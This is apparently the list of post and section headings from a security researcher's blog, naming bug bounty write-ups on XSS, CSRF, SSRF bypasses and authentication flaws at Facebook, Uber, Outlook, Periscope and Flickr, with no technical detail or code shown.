
Ramping Up

Facebook Bug Bounty

Joining Facebook

“Everything is a P0”

Running a Program

Researcher Engagement

Finding Bugs as an Engineer

Visualing Code

Empathy

Reward Amounts

The Future

Thank You

Obtaining Login Tokens for an Outlook, Office or Azure Account

Fun with URL-Encoding and URL Parsing

Fix

Timeline

Uber Bug Bounty: Turning Self-XSS into Good-XSS

Self-XSS

Uber OAuth Login Flow

Chaining Minor Bugs

Step 1. Logging Out of Only One Domain

Step 2. Logging Into Our Account

Step 3. Switching Back to Their Account

Putting It All Together

An XSS on Facebook via PNGs & Wonky Content Types

PNG IDAT Chunks

Bypassing Link Shim

Moving from the Akamai CDN hostname to *.facebook.com

Enter document.domain

Fix

Bonus ASCII Art

Messenger.com Site-Wide CSRF

Fix

Bypassing Google Authentication on Periscope's Administration Panel

Fix

Bug Bounties 101 - Getting Started

Bug Bounties

Required Reading

Blogs

Toolset

Intentionally Vulnerable Applications

Programmes

Reporting

SafeCurl "Capture the Bitcoins" Post-Mortem

Bypasses

DNS Rebinding

URL parsing issue #1

URL parsing issue #2

URL parsing issue #3

Lessons Learnt

Lesson #1 - Don’t Rush

Lesson #2 - Bug Bounties are a Great Idea

Lesson #3 - Have Unit Tests, Get Code Reviews

Lesson #4 - You’re Not as Good as You Think

Going Forward

Statistics

SafeCurl: SSRF Protection, and a "Capture the Bitcoins"

Protections

SafeCurl

Bounty (Capture the Bitcoins)

Abusing CORS for an XSS on Flickr

Fix

Cookie Stealing on Customer Internet Connections

Example

Mitigation Techniques

Source

Note

Instagram's One-Click Privacy Switch

Round Two

Fix

Content Types and XSS: Facebook Studio

Fix

Timeline

Removing Covers Images on Friendship Pages, on Facebook

Removing A Cover

Fix

Enter `document.domain`